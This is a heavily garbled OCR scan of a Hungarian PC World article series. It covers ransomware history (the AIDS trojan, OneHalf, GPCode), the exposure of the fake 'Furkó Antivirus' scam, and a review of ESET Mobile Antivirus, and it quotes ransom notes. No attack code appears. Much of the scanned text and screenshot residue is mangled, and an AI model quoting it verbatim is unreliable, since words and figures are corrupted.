Ransomware — ezt a kategéridt ma-
gyarul zsarolo, véltsagdijat koveteld
kdrtevnek nevezhetjiik. Megszile-
tését egy 1989-es esethez kétik, ahol
egy cég AlDS-szel kapcsolatos in-
formaciés floppylemezt kiildott szét
mintegy huszonhatezer egészségtigyi
intézmény cimére. A cimjegyzék ta-
niisaga szerint hdrom példanyt Ma-
gyarorszagra is elkiildtek: a Hema-
tol6giai Intézetbe, a Janos Kérhazba
és a KFKI-be, de ezeknek - dllit6lag
postazas kozben — laba kelt, ami je-
len esetben utdlag szerencsés fordu-
latnak is értékelhetd. A lemez egy al-
jas programozasi triikkel operalt, és
kézben figyelte a rendszerinditdsok
szamat. Egy sajat algoritmus alapjan
folyamatosan titkositotta a merevle-
mezen az dlloményokat és a konyv-
tarakat. Szerencsés esetben, ha vala-
ki idejekordn észlelte, korai fazisban
tiszta rendszerlemezrél bootolva még
el tudta menteni a sajdt adatait. A ki-
lencvenedik Gjrainditds utn aztdn

@l Furke Antivirus ( DEMO VERZIO)

Statisztika
Ellenirzatt fajlok. széma : 10464
Ellendrzatt mappék. széma : BB
Eltelt idi : 00:00:16
Eredmények

i orhacia Virusos fijlok szama : L
Kiirtott virusok széma : 1]

Beallitazok

Frigsités

Kilépés
<

Megvasarlas

Viruskeresés befejezodétt

Lostemn32min@Tem.dl Vi ipusa:
(stem32vwinbrand dil Virus tipusa : W32 Warm
wetem32windowscodecs dl - Wirus tipusa : W32 Spyware
Lstern32vwindowscodecsest dil Vinus ipusa @ Osll Spyware
stemn32vwinfax dll Virus tipusa: W32 Sppware

a tréjai az alabbi tizenetet jelenitette
meg a képernydn, angolul: ,A szoft-
verbérleti szerzG6dés erre a szamito-
gépre lejart. Amennyiben még sze-
retné hasznalni ezt a szamitogépet,
meg kell Gjitania a bérleti szerzédést.
Tovébbi informaciokért kapcsolja be
a nyomtatot és nyomja meg az En-
ter billenty(it”. A kinyomtatott lize-
netben aztdn szerepelt egy pana-
mai postafiok cime és hogy 189, illet-
ve 378 amerikai dollart kell kiildeni
a készitének valtsagdijként, amit fi-
zethetlink csekken vagy atutaldssal

is. Ez egy szintiszta zsaroldsi mané-
ver volt, és vegyuk észre azt is, hogy
remek érzékkel kihaszndlta, hogy so-
kan érdeklddtek az akkor még (j, is-
meretlen és félelmetes AIDS irdnt.

A torténet utééletéhez tartozik, hogy
késébb sikertilt elfogni a készitét, egy
bizonyos Joseph L. Poppot, aki Pana-
maban a PC Cyborg Corporation ne-
Vi céget jegyezte és majd’ egy évig
készitette el6 ezt az akcigjat.

Kordbban, a 12. epizédban mar meg-
emlékeztiink a kériilbeltil 1995-ben
feltint One Half nevii DOS-os virus-
rél, amely a merevlemezrdl torténg
bootoldsonként 2-2 cilinder teljes tar-
talmdt titkositotta, a merevlemez vé-
gérdl indulva. Ha csak siman mente-

SW32Spware A

?

Furkoé Tamas miive valoédi szellemi elédnek tekintheté a mai hamis
antivirusok szempontjabol. ime a szokasos 6t .dll allomany, ami allitélag
mindenkinél ,fert6zo6tt”. Mi most mosolygunk ezen, de igazabol egyaltalan
nem mulatsagos a kevésbé hozzaérték ilyen atverése
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Dear Customer:

It is time to pay for your software lease from PC Cyborg corporation.
Complete the INYOICE and attach payment for the lease option of your choice.
If you don't use the printed invoice, then be sure to refer to the important
reference numbers below in all correspondence. In return you will receive:

a renewal software package with easy to follow, complete instructions;

an automatic, self-installing diskette that anyone can apply in minutes.

The price of 365 user applications is US5$189. The price of & lease for the
lifetime of your hard disk is US$378. You must encleose a bankers draft,
cashiers check or international money order payable to PC CYBORG CORPORATION
for the full amount of $189 or $378 with your order. Include your name,
company, address, city, state, country, zip or postal code. Mail your order
to PC Cyborg Corporation, PO Box 87-17-44, Panama 7, Panama.

Az AIDS tajékoztatolemezen terjesztett trojai szerzéje allitolag egy évig
készitette el6 az akcidjat. Azt nem tudni, hogy mire gondolt, amikor meg-
adta cége nevét és a panamai postafiokot. Mindenesetre ezzel nem tette tul
magasra a lécet az utana nyomozo szovetségi és titkos ligynokoknek

P
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Bar a PC Cyborg Corporation mar megsziint, az emléke megmaradt
a Wikipédian: en.wikipedia.org/wiki/PC_Cyborg_Trojan

sitettiik a gépet, az elkddolt részhez
soha tobbé nem fértiink hozz4, hi-
szen a szlikséges kulcsfontossagu in-
formaciét a Master Boot Recordba
(MBR) bekoltozott virushan taroltak.
Egy meggondolatlan ,fdisk /mbr” pa-
rancs utdn — az egyedi kod hianya-
ban mér lehetetlen volt az adatok
visszaalakitasa. Szerencsére késébb
Leitold Ferenc virusvédelmi szakérté
készitett hozza egy egyedi dekédol6
segédprogramot OneHalf Killer né-

ven, amely a tényleges fizikai mente-
sités el6tt képes volt visszaalakitani az
eredeti adatokat. Itt val6jaban ugyan
nem kértek valtsagdijat, de a kdroko-
zast igyekeztek minél tovabb rejt-

ve tartani, hogy ezzel is fokozhassdk
a felhasznalot érd kart.

Csak kiegészitésként érdemes meg-
emliteni, hogy a OneHalf virus kora
ellenére nem feltétlendl csak a maltat
jelképezi. Képes arra, hogy egy mai
windowsos rendszeren is ténykedjen,
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ivirus

rko

BAY

YWirusos programok a memaridban |

kérem inditsa el a wiruskeresést a Furkd Antivirushan és ellendrizze az Gsszes meghajtat
ahboz, hogy megtaldlja a fertdzott Fajlokat,

Még az Gjonnan telepitett gépeken is megkaptuk a figyelmeztetést. Valdszinlileg ez indithatta be a felhasznalok

K]

E =

kezdetét jelenti be — ezt érdemes is
atnevezés utdn meghallgatni, ahol vi-
lagosan hallani benne, hogy a Nascar
autéverseny nevét is emlegetik. Nem
érdemi virusadatbazis dllomany az
eredeti virdat.dat sem, ez pedig egy
jelszoval védett kozonséges RAR t6-
moritett allomany. A virusirt6 adatba-

sérletnél mar ezt nem is tudtuk le-
tolteni, a , frissités” utan csak egy O
béjt hosszi virdat.dat dlloményt kap-
tunk, viszont a program felhasznaldi
mendijében a frissités ideje az aktud-
lis datumra frisstilt. Sz6val szemfény-
vesztés az egész.

Féleg a fert6zésre, a kéretlen abla-
kokra és a fizets valtozat megvésar-
ldsdra tett eréfeszitésekre koncent-
raltuk eddig figyelmiinket, azonban
van még egy fontos szempont, amit
mindenképpen érdemes megemli-
teni. Amivel még nagy bajt okozhat
egy ilyen hamis antivirus program, az
a hamis biztonsagérzet, amit a gya-
nitlan felhasznalokban kelthet: aki
telepiti, azt hiheti, hogy igy mar véd-
ve van a virusoktol, kémprogramok-
tol — holott errdl, ahogyan lattuk is,

Megvasarlas

Bedllitasok

. Viruskereses befejezodétt ;"1‘i1 T

e Statiszlika v
D‘L’::“] Ellerirzalt Fak s2ima: 10474 g 13’12:; ::: R
e Elleriiaolt mappdk szdma: 688 sl by
e - Ehelkids: 00:00:09 el bl
(v Erecmények ,: ,‘,2’2 :3::; il
Virusos failok széma : 5 6.011319:23 o

Kilrlott virusok széma: 0 -

8.10.26 18:53 -2
8.10.26 18:53 -a-

pstem3wind7em.dl Virus tipusa - W32 S ppware a~
pstem3winbrand.dl Virus tipusa : W32 Wom
pstem3Zwindomscadecs.dl Vins tipusa : W32 Spyware
Jstem3Zwindomscodecsest dl Virus fipusa ; Dol Spyware
pstem3IZwintar i Virus tipusa : W32 Spyware

8.10.26 02:05 -a—

~

»

0k/1153k -0/ 413 o o
c:\Program Files\Furk & Antivirus>

F3 Nézike F4 Szerkesztés F5 Masolas

F6 Athely/Atnev.

3 ¥
v

F8 Tarlés

F7 Uj kisnyvtar AltsF4 Kilépés

Ez a kép azért vicces, mert a frissités idejéhez beirta az aznapi datumot
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Furko Antivirus 1.0

Furko Antivirus 1.0

Publigher:
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Vary Past and effatlive s siftwars

| Platfonm | WINSSVENTS M4 MBUF | pee

hame  eaftars catategs s dmaninads submit aslio res faess
[

Furko Antivirus 1.0

Wy fant and affactisa 0B Goftwars

Flatform - induws 35/SS M NT/Z000/F
UBD $1228
File Size ToakE

Sermanskan Ha Sersershat

Downioad (101 Fenursments] Papstaray ;

downéoads) Falasse Date Date e e
e ] Techical Swpwert
Flaiforma.  [Windows N 4x, Windows 55 WIn0ows 2000.]  yer muvlews = \-

Winddawes e, Wincaws 1T 3.4
Tags
Usars raing J0rid
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mamery and in the Rk This #rus program

Lustasag és hanyagsag - akar ez is lehetne ennek kisplasztikai biennalén
indulé miinek a cime. A letéltési oldalak jol lathatéan nagy ivben tesznek

arra, mit kinalnak fel letoltésre

hiszen a MBR-bdl indul. Ezt igazolja,
hogy azéta is felbukkan néha néhany
szamitogépen. Terjedni persze nehe-
zen tud, mert a Windows elindulé-
sat kovetGen mar torlédik a memo-
ridbol, viszont ahdnyszor Gjrainditjuk
a gépet, annyiszor végzi el a kovetke-
26 2 cilinder kodolasat.

Hét ennyit a tavoli mdltrdl, és most
nézziink néhany tovabbi frissebb ér-
dekességet a zsarolds mifajabol.

2005 tdjan megjelent az interneten
egy Furké Antivirus nevii csomag,

amely nemcsak a www.furkoantivi-
rus.com weblapon, hanem szdmos
letoltGoldal kindlataban is szerepelt.

Ha valaki vette a faradtsagot és letol-
totte, érdekes dolgokat tapasztalha-
tott. ElGszor is a tobbi virusirté préba-
valtozathoz képest nem egy idékor-
latozassal szembestiliink a deméban,
ami am0gy teljes értékden makodik,
hanem szokatlan médon az ingye-
nes prébavaltozat csak kijelezte a ve-
szélyeket, de irtani csak és kizdrélag
a fizetds valtozattal tudtunk a készit6
igérete szerint.

Csiszér Béla (a NOD32 progra-
mot Magyarorszagon forgalmazé Si-
contact Kft. vezetdje) nevéhez kéts-
dik a nagy leleplezés, rajétt ugyanis,
hogy a program kényvtaraban taldl-
haté data.dat f4jl val6jaban egy EA
Sports jatékbol szérmazé MP3 audio-
fajl, ahol a bemondé egy autéverseny

sz6 nincsen.

A Furké Antivirust szinte minden
tekintetben nagy el6dnek tekinthet-
jik a manapsag ipari méretekben
zajl6 hamis antivirus biznisz szem-
pontjdbol: nem végez érdemi virusir-
tast, mert sajat maga a kartev; Gjon-
nan telepitett tiszta rendszeren is talal

zisanak ,frissitésekor” egy ingyenes
magyar tarhelyszolgéltato szerveré-
rél letdlt6dd aj virdat.dat sem tartal-
maz a kdrtevék azonositdsahoz hasz-
nalhat6 informaciokat, ugyanis ez az
allomény a Moorhuhn 2 cim( csir-
kevadasz sikerjéték mudGE.dll f4jl-
ja volt, atnevezve. Mi a mostani ki-

meta name "description”
content="A Furko Antivirus egy 5 csillagos ertékelesi nagyon gyors s
hatékony antivirus szoftver"

meta name "keywords"

content="antivirus.com antivirus, virusirto, antivirus, anti-virus anti-virus virus
irté, virus irto, szex, sex, tinl, szex, baszas, pina, fuck, viruskeresd, virus
keresd, viruskereso, virus, kereso, szex sex,mp3 zene film dvd cd letoltes
dwonload, software, ferran, lamborghini, pershe, mercedes, bmw,
schumaher, forma 1, sport, foci, football, internet, hardware, vasarlas”

Bar a weboldal mar nem miikodik - a leleplez6 HWSW:-s, illetve origds cikk
utan azonnal megsziint -, a lementett valtozat sok mindenrdl arulkodik

a figyelmes szemlélének. Az biztos, hogy az ilyen kulcsszavak nem sok
bizalmat ébresztenek abban, aki egy komoly biztonsagi program weblapjan
véletlenil belekukkant az oldal HTML-kédjaba
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Négy, csak négy legény van talpon a vidéken a VirusTotalon végzett ellenér-
zés szerint. Azaz a hazai al-antivirus termést kalféldon csak kevesen ismerik
fel kartevéként
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@ Maplozas - ESET NOD32 Antivirus

Kézi inditasti szamitégép-ellendrzés

A kisérletezéshez ki kellett kapcsolni a NOD32 antivirust, mert azonnal beri-
asztott mar a Furko telepitécsomagjara is

™ ATTENTION !

decrypting tool contact us at:

[ our files are encrypted with RSA-1024 algorithm, Ta recovery your files you need to buy our decryptar, To buy
. @yahoo,com

ider I

Amit senki sem szeretne latni a sajat monitoran: ,,Az 6n allomanyait RSA-
1024 algoritmussal elkédoltuk. Ezek visszaalakitasahoz sziiksége lesz a mi
dekodolé programunk megvasarlasara. A dekodolo eszk6z megvasarlasahoz

kérjuk, irjon a kévetkez6 e-mail cimre!”

fert6zést”; az adatbézis-frissités egy-
altaldn nem oldja meg a gondjainkat
vagy nem is csindl semmit; és végiil,
de nem utolsésorban pénzt akar — ez
a program f6 célja.

Ami még nevetséges vagy inkdbb
sirnivalo, hogy a Furkd Antivirus még
a mai napig (2008. novemberben ké-
sziilt ez az irds) szerepel szdmos le-
toltéssel foglalkozd honlap kindlaté-
ban. Egy magdra valamit is ad¢ letol-
t6oldal egy termékrdl hogy mondhat
olyat vagy masolhat at bamban, hogy
,Uses cutting edge technology to de-
tect virus and remove them immedi-
ately”? Ki sem probaltdk, annyi szent,
csak ment az iparszerd tartalom- és
linkgyartds, kopi meg a paszta, ame-
lyet egy megfelelGen idomitott pa-
vidn is megtehetne megfelelé meny-
nyiségli banannal dresszirozva. Saj-
nos, ahogy az élet mas tertiletén is,
sok mindenben a felhiguldst és a sp6-
rolast latjuk: konyvek jelennek meg

futészalagon szakmai lektor és nyelvi
ellen6rzés nélkiil, de ez mar messzire
vezetne, kanyarodjunk vissza a ran-
somware témdjahoz.

Mintha ez a gondolatmenet éledt
volna ismét (ijja a GPCode karte-
v6 2008-ban megjelent Gj valtoza-
ta esetében is, amelyre a Kaspersky
kutatéi hivtdk fel a figyelmet. A csa-
lad els6 tagja még 2005 decembe-
rében latott napvilagot. A GPCode
kartevé Uj véltozata kiilondsen erds,
1024 bites RSA-titkositéssal kodol-
ja el a felhaszndlé adatait (példa-
ula .doc, .jpg, .pdf kiterjesztés faj-
lokat), majd letorli az eredeti, ko-
dolatlan példanyokat. Ha végzett,
akkor tizenetet kiild a felhasznalo-
nak, hogy az allomanyai tészul let-
tek ejtve, és némi készpénz fejében
felajanlja a titkositdst feloldé kulcsot.
A titkositas ezekben az esetekben

p——
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A GPCode zsarol6 virus visszafejtésére nemcsak felhivast tett kozzé
a Kaspersky cég, de a kapcsolodo forumon a szakemberek a vilag minden
tajarol meg is osztottak a tapasztalataikat

78 | PC WORLD ¢ 2008. DECEMBER

Copyright 1985-28081 Microsoft Corp.

2:\megosztot thohk>ohk.exe

Killer program for OneHalf virus

Copyright <(c> 1994-1998

Distributor: Hunix Ltd.

Uersion 2.32 6 Jan 1998
by the UirusBusters

. 577a 1111 Hungary
. ¥36 1 166-92P6

This program
ffrom the mas
oded by the virus.

is able to kill the OneHalf wvi
hoot sector. It is ahle to

from the infected files and
nstruct the content of sectors

zage: OHK <{path> [-nokilll [-decrypt] [-files] [-nolbal [-nodecrypt]

or OHK —drivedecuypt {drived

or OHK <filename> —filedecrypt <key>
{startoyld <endeyl> C(key>

Kdrive>,.{startcyl>.{endcyl>.<key> are given in HEXADECIMAL format 1ttt

C:~HEGOSZ™1“ohk>

OneHalf Killer: ez a remek segédprogram sokaknak mentette meg a merev-
lemezen csapdaba esett létfontossagu adatait

Moorhuhnjagd | Moorhuhn 2 | Winter Edition |

Maorhuhn 3

Virusirtot készitene, de nem boldogul? Sebaj, vegyen egy DLL-t egy 16v6l-
d6z6s jatékbol, egy MP3 allomanyt egy masik, autoversenyes jatékbol, és
maris kész az Uj virusismereti adatbazis. Akarmilyen hihetetlen, de volt, aki

tényleg igy csinalta

a brute force (azaz nyers erg, vagyis
probélgatasos) modszerrel akdr tobb
millié évig is eltarthatna, de szeren-
csére az antivirus cégek Gsszefogasa-
val sikerilt hibat talalni a kartevében
és ennek segitségével visszadllitani
a kédolt féjlokat. Az Gj, GPCode.AK
jeldi véltozat mar 143-féle &llomany-
tipust tesz olvashatatlannd, amihez
a Windows beépitett Microsoft En-
hanced Cryptographic Provider mo-
duljat hasznélja. A Kaspersky cég
nyaron felhivést tett kozzé, amely-
ben titkositasi szakembereket tobor-
zott a visszafejtéshez. Ennek meg is
lett az eredménye, els6 korben sike-
ralt kideriteni, hogy a mar elkédolt
llomanyok eredeti dllomanyainak
torlése egyszer( delete funkciéval
torténik, ezért minden ,Undelete”
segédprogram segithet ezekben az
esetekben, ha még nem tortént fe-
lulirés. Ez kétségkiviil hiba volt a ta-
madok részérdl, amit a kovetkezd
kartevdverziéban mar biztosan ja-
vitani fognak. Késébb aztdn érdemi
megoldas is sziletett az dllomanyok
mentesitésére, bar a visszakodolds
hatékonységa itt csak kordlbeltil 80—
90 szdzalékosra sikeriilt.

Annyit mindenesetre [4thatunk,
hogy bér szinte minden esetben vi-

szonylag kis Gsszegeket kértek az el-
kovetck, a zsarolashél befolyé pénz
atvétele elég kortlményes és rend-
szerint kinyomozhato, ezért e rizikd-
tényezG mellett val6szintleg nem ta-
laltdk meg a szamitasukat. Erre utal
az is, hogy néhany esetben — a nul-
ladik napi sebezhetdségek demonst-
racios exploit kddjaihoz hasonléan
— igyekeztek kozvetlentil az antivirus
cégeknél kopogtatva pénzzé tenni
a titkosftorutinjukat. Egy biztos, ne-
kiink felhasznaloknak ezek az esetek
remek példdk arra, hogy ne hanya-
goljuk el munkaink rendszeres men-
tését kiilsé adathordozora.
* %k
Kérjiik kedves olvaséinkat, ha a té-
méban kérdésiik, hozzaszdlasuk van,
juttassdk el hozzank (velemeny@
pcworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsadé
Sicontact Kft.,, a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

www.eset.hu/virus
www.antivirus.hu
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Sarkany ellen sarkanyfu?

Sorozatunk tizenotodik epizddjaban kicsit kimozdulunk a szamitogép melldl. Cikklinkben azt
vizsgaljuk az ESET Mobile Antivirus (tovabbiakban EMA, www.eset.hu/letoltes/mobil) program
megjelenése kapcsan, mit tud és mire hasznalhato egy okostelefonra készitett antivirus szoftver,
miért van sziikség ilyesmire és nagyjabol mi varhatd ezen a fronton a kozeljovoben.

assan mindenkinek vilagos lesz
L — azaz azoknak, akik manap-

sag szamitogépet és internetet
hasznalnak -, hogy tevékenységtink
kozben nem viselkedhetiink akarho-
gyan, latnunk kell, milyen veszélyek-
kel kell szamolnunk, és ezekre mi-
lyen biztonsagi valaszlépéseket kell
tenniink. Persze szazszdzalékos vé-
delem nem létezik, de ha megfele-
I6en kialakitott kornyezetben mun-
kélkodunk megbizhaté programokra
épitve, tovabba szokasaink is a biz-
tonsagtudatossagot képviselik, bat-
ran szamithatunk arra, hogy elkerdl
minket a fert6zés. Sorozatunk eddi-
gi részeiben szamos tanacsot megfo-
galmaztunk mér, de mindig abbdl in-
dultunk ki, hogy a sziikséges prog-
ramok, komponensek elérhetéek,
letolthetGek, megvésarolhatéak min-
den PC-tulajdonos szdmara. De mi
torténik akkor, ha kimozdulunk eb-
bél a kornyezethd|, és telefonunkon
bonyolitjuk elektronikus levelezé-
stinket, bongéssziik az internetet an-
nak minden el6nyével és htranya-

‘s Start o Ty 42

Choose a location to install "ESET ESET
Mobile Antivirus":

®

(O \Storage Card

Space Needed: 405 KB
Space Available: 28146 KB

Install = Cancel

Bar a telepitésnél valaszthatunk a
telefonmemoria és a bovitokartya
kozott, mindig a telefonmemoriara
telepitstink!

%y ESET Mobile Antivirus Ef Y <916

ESET
Mobile
Antivirus

Folder

A kézzel inditott keresésnél (On
Demand Scan) valaszthatunk egy
adott konyvtar vagy az egész tele-
fon ellendrzése kozott
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val egyitt? A megszokott ,és akkor

a tlizfalam jelezte”, a ,virusirtom azt
mondta”, a ,kémprogramirtém riasz-
tott, hogy...” széfordulatok hianyoz-
nak, és nyilvan nem azért, mert ilyen-
kor nincs veszély, hanem mert kevés
ilyen eszkoz létezett. Ezek korét gya-
rapitjia most az EMA is, amelyben az
ESET a NOD32 fejlesztése sordn meg-
szerzett tapasztalataira tamaszkodva
proaktiv védelmet nydjt a kartevsk el-
len, és emellett képes a kéretlen SMS-
ek blokkolasara is. A Windows Mobile
platformon (www.microsoft.com/
windowsmobile/) mikodd szoftver a
tobbfajta ellenérzési funkcidval és az
automatikus frissités lehetéségével ki-
egészitve meghizhaté védelmet bizto-
sit az okostelefonoknak. Remélhetd-
leg sok mobiltulajdonosnak segit majd
az adataik megévasaban, a biztonsagi
incidensek elkertilésében.

Mieldtt fejest ugrunk a program ko-
zelebbi megismerésébe, érdemes
kortilnézni, milyen tendenciak ural-
jak vagy igyekeznek veszélyeztet-
ni a manapsag egyre divatosabb
okostelefonos internetet.

Idéziink egy friss hirbdl, amely ugyan
épp az Apple iPhone-t érinti, de en-
nek ellenére j6l rdmutat a veszélyek-
re. A Fraunhofer Intézet egyik munka-
tarsa olyan hibét fedezett fel az iPhone
2.1-es firmware-ében, amely lehet6-

‘o | Activate

About

Activate
General
Extensions
Update View Logs
Update

Exit

On Access

B Spam Filter

Béséges beallitasi lehetéségek all-
nak a rendelkezéstinkre, beleértve
a frissitést és a keresési naplok
utolagos kezelését is

%% ESET Mobile Antivirus <5 Ty 4%

ESET
Mobile
Antivirus

Ge1)

Scan = Menu

A NOD32 ezuttal okostelefonon fut.
Mivel interneteziink és leveleziink is
vele, potencialis veszélyforras lehet
a kartékony linkekre valé kattintas

vé teszi, hogy egy Safari bongészével
megldtogatott weboldal hivast indit-
son a késziilékrél az illetd tudta nélkdl.
A problémét a Safari Gigynevezett URI-
(Uniform Resource Identifier) kezelGjé-
nek hibdja okozza, amely mar korab-
ban is alkalmat adott hasonl6 tamadd-
sok kivitelezésére, bar pontosan emiatt
mér kiadtak egyszer egy szoftverfrissi-
tést. Most azonban kiderilt, hogy az a
bizonyos javitas mégsem volt tokéle-
tes, rdaddsul a veszély amiatt is komo-
lyabbnak ttinik a korabbindl, hogy egy
specialisan osszedllitott kartékony ké-
dot tartalmazé weboldal a tarcsdza-
son feltil még azt is képes megakada-
lyozni, hogy a felhasznalé megszakitsa
ezt a hivast. A problémat csak a leg-
Gjabb, 2.2-es firmware-re torténd frissi-
tés oldja meg.

Eddig a hir, és méris lathatjuk, hason-
[6an a PC-platformokhoz, a biztonsag-
ra val6 torekvés nem mertilhet ki pusz-
tan a védelmi programok alkalmaza-
saban, hanem mindenképpen ki kell,
hogy egésziiljon az operacios rendszer
és a haszndlt alkalmazésok biztonsagi
frissitéseinek naprakészen tartasaval. Es
természetesen, az olyan széles korben
elterjedt platformokon, mint amilyen
az iPhone — de jelentds piaci részese-
dése folytan a Windows Mobile is ide
tartozik —, sajnos egyre gyakrabban var-
hatok ilyen jellegli tdmadasok.

A ,Van-e vesztenivalonk?” kérdés-
re pedig tobbféle vélasz is kindlkozik:
a kémprogramok kévethetik minden
mozdulatunkat (GPS), monitorozhat-
jak minden internetes aktivitdsunkat,
ellophatjak bizalmas felhasznaléi ada-
tainkat (telefonkonyv, feljegyzések), az

s ESET Mobile Antivirus «3 Ty 4%

Ci ) ESET Mobile Antivirus
0.9.200804281000.20080
4281000.1.1

Copyright @ 1992 — 2008
ESET, spol s.r.o.
All rights reserved.

Ready

Az ESET Mobile Antivirus mostani
kiadasa Windows Mobile Edition
5.0, 6.0 és 6.1 alatt hasznalhato.

A Windows Mobile az egyik legnép-
szertibb és széles kérben elterjedt
mobil platform

]Delete infected file

Stored logs

Mernory scan |:| Heuristics

Archive nesting
Archive deletion

Done E

Cancel

Az egymasba agyazott archivumok
szintje alapértelmezés szerint egy,
amit magasabbra is allithatunk,
ilyenkor azonban hosszabb keresési
idére kell szamitanunk

ellopott adatokkal visszaéléseket ko-
vethetnek el a neviinkben (identity
theft), kitorolhetik adatainkat, amelye-
ket csak nehézkesen dllithatunk hely-
re naprakészen és végtil anyagi kdrt

is okozhatnak (példaul kéretlen SMS-
ekkel, hivasokkal, vagy akér felhasz-
nélhatjék a szdmldnk adatait is).

A Mobile Antivirus (www.eset.hu/
letoltes/mobil) fejlesztése soran az
ESET szakembereinek szdmos olyan
nehézséget kellett lekiizdenitk, ame-
lyek szinte ismeretlenek az asztali sza-
mitégépeken és laptopokon hasz-
nalt virusirtoknal. Korlatot jelentett az
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Please fill out the form and presss

Usemare ]EAVmO‘IZBSSlS

FEEFEEEEES

Password

&-mail J

Phone ID

THOKIOWANGOjfAXBkgHd6k-+88]HW

Activate o8 Cancel

A mar jol ismert licencaktivalassal
talalkozhatunk itt is: vagy kozvet-
lentil a telefonra, vagy pedig elekt-
ronikus levélben kuldik el nekiink a

hasznalathoz sziikséges adatokat

okostelefonok limitalt memoridja — ez
sok esetben minddssze 1 MB -, az el-
tér6 akkumulétorfajtak kapacitdsa és
a kiilonbo6z6 savszélességek létezé-
se. Ennek ellenére sikerilt egy olyan
szoftvert étrehozni, amely a telefon
teljesitményének befolydsoldsa nélkil
képes teljes korii védelmet biztositani.

Atelepitésnél — ez torténhet kdzvetle-
niil a telefonrdl vagy pedig a PC-rél in-
ditva, az ActiveSync segitségével — bar
a kijelzés szerint valaszthatnank ugyan
a telefon bels6 memoridja és a ben-
ne haszndlt kiegészité memoriakartya
kozott, a haszndlati Gtmutat6 egyértel-
men az eldbbit javasolja. A NOD32
megszokott licenceinek érvényesité-

se is kétféleképpen végezhetd el. Vagy
kozvetlentil a telefonunkra érkezik a
jogosultsagot biztosito felhasznal6i azo-
nositéi adat, vagy pedig szamitégéptin-
kon végezziik az aktivaldst a telefon
egyedi, Gigynevezett Phone ID azonosi-
téjanak begépelésével. Ez utébbi eset-
ben egy elektronikus levélben kapjuk
meg a hasznalathoz szikséges licencet.

%% Messaging G| 71|| < X

Select an Account

E Text Messages

— Gmail

< Setup E-mail
‘o Tap to setup a new account

Select - P

Menu

Szeretjuk azonnal olvasni az
e-maileket, és egyre tobb ember
intézi levelezését telefonjarol,
amikor éppen nincs szamitogép- és
internetkozelben

S les ar Ie g
\POCKETFS.SYS is locked
\SUPL_log.txt is locked
\mxip_notify.vol is locked
\mxip_swmgmt.vol is locked
\pim.vol is locked
\cemail.vol is locked

il

\Documents and Settings\default.vol j
\Documents and Settings\default.hv i

\Windows \XT9Rudb.Rdb is locked
\Windows\XT9Cdb.Cdb is locked %

\Windows\XT9AsDb.Adb is locked
Scan stopped by user.

F
4] ] | [ ]

A keresés nemcsak a telefon me-

riab6vité kartya tartalmat is
atvizsgalja. Ennek akkor is nagy
hasznat vehetjiik, ha USB-kulcsként
itt utaztatjuk az adatainkat

Ha mér telepitettik, rogton széba
kertil a frissités. LehetGség van manu-
alis virusadatbdzis-frissitésre, vagy akar
napi, heti és havi gyakorisagli automa-
tikus frissitést is beallithatunk. Ezt olyan
kompakt, kisméreti és jol optimalizélt
frissitési fajlokkal oldottdk meg a fej-
leszt6k, amelyekkel minimalis adatfor-
galom mellett tarthatjuk naprakészen
a virusismereti adatbdzist. A minimalis
adatforgalom amiatt fontos, hogy béar
a megszokott helyszineinken, példd-
ul otthon, munkahelyen ugyan felcsat-
lakozhatunk a nagy sebességli WiFi-
hal6zatunkra, de idegen helyen mar
nem tesszik ezt, ezért mashol a pilla-
natnyi lefedettségtdl fiiggGen erdsen
valtozd (GPRS, ECDE, HSDPA, 3C) se-
bességre tdamaszkodhatunk csak.

Az ESET Mobile Antivirus segitségé-
vel nemcsak a bongészés és levelezés
kozbeni vals idej védelmet élvez-
hetjik, de asztali tarsdhoz hasonldan

%2 ESET SpamFilter

=

% T €

I
| Received SMS : 0
Blocked SMS : 0

[] Block messages fram contact list

D Block messages froi
Blackiist | whil )
[ T E—

Fekete- és fehérlista segitségével
szlirhetjiik és engedélyezhetjiik,
ki kildhet nekiink SMS-t. Ma még
szerencsére ritkan van ilyesmire
sziikség, de ha jonnek a kéretlen
reklamok vagy zaklatnak minket,
akkor nagyon jol johet az ilyen
korlatozas

A teszteléshez hasznalt Samsung
Omnia i900 telefonon virustalalatot
kaptunk az Eicar allomanyra. (Az
okostelefon még azt is érzékelte,
hogy megdontéttiik a kijelz6t, és au-
tomatikusan elforgatta a képernyét)

itt is nyilik mod tetsz6leges kézi indf-
tast keresésre, ellenGrzésre. Az ellen-
Grzés képes a mesterséges intelligenci-
an alapul6 heurisztikus motor segitsé-
gével még ismeretlen karokozok ellen
is védelmet nydjtani. Ha kézzel indi-
tunk keresést, akkor vagy megadjuk a
kivant mappa, illetve fajl elérési Gtjat,
vagy pedig valaszthatjuk a teljes készi-
lék dtvizsgdlasat is. A teljes ellen6rzés
ilyenkor a kiils6 adathordozén (példa-
ul bévité memériakartya) is végigfut,
ezért az adattarolds-jelleg(i (azaz ami-
kor USB-kulcsnak haszndljuk a memaé-
riakdrtyat) hasznalat esetén is j6 szolgd-
latot tehet.

A virusellendrzés soran lehetGség
van a fajlkiterjesztések szerinti be-
allitdsokra, de a vizsgdlat soran ter-
mészetesen a telepité Cabinet féj-
lok (.cab) ellendrzése is megtorténik.
Mind a valés idejd, mind pedig a
kézzel indithaté elvégzett keresések
eredménye napléallomanyokban ké-
sébb is ellendrizhetd, elemezhetd.

Nemcsak a technikailag meghata-
rozhat6 kartevék ellen, de a nem ki-
vant zaklaték tévol tartaséra is alkal-
mas a beépitett SMS-sz({ir6. Ez a ké-
retlen szoveges tizenetek ellen nydjt
védelmet, azéltal, hogy a gyanus tize-
neteket a levélszemétmappéba helye-
zi. A szlirést végezhetjiik a blokkolan-
dé6 hivok szamainak feketelistdzasaval,
illetve kombinalhatjuk mindezt a min-
den kértilmények kozott fogadni ki-
vant tizenetek megbizhat6 feladéinak
fehérlistan valé Gsszegyijtésével is.

Ha valaki rendszeresen haszndlja az
okostelefonjat internetezésre, és készti-
léke a Windows Mobile 5.0, 5.1 vagy
6.0 operdcios rendszerre épiil, annak
ez a program sokat segithet mind a ké-
retlen levelek linkjeiben megbuvo,
mind az egyre névekvs szam fer-
t6z6tt weblapok kézti bongészés so-
rdn a kockdzatok csokkentésében, és
a nalunk még kevéshé agressziv ké-
retlen SMS-ek elleni harcban. Remél-
jlk a fejlesztdk az elsd, a mobil eszko-
z6k porondjara vald kilépésiik utan a
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késébbiekben gondolnak majd a tob-
bi népszerdi platformra is. Mit tehe-
tiink a biztonsagi programok hasz-
ndlata mellett mi, felhaszndl6k? Az
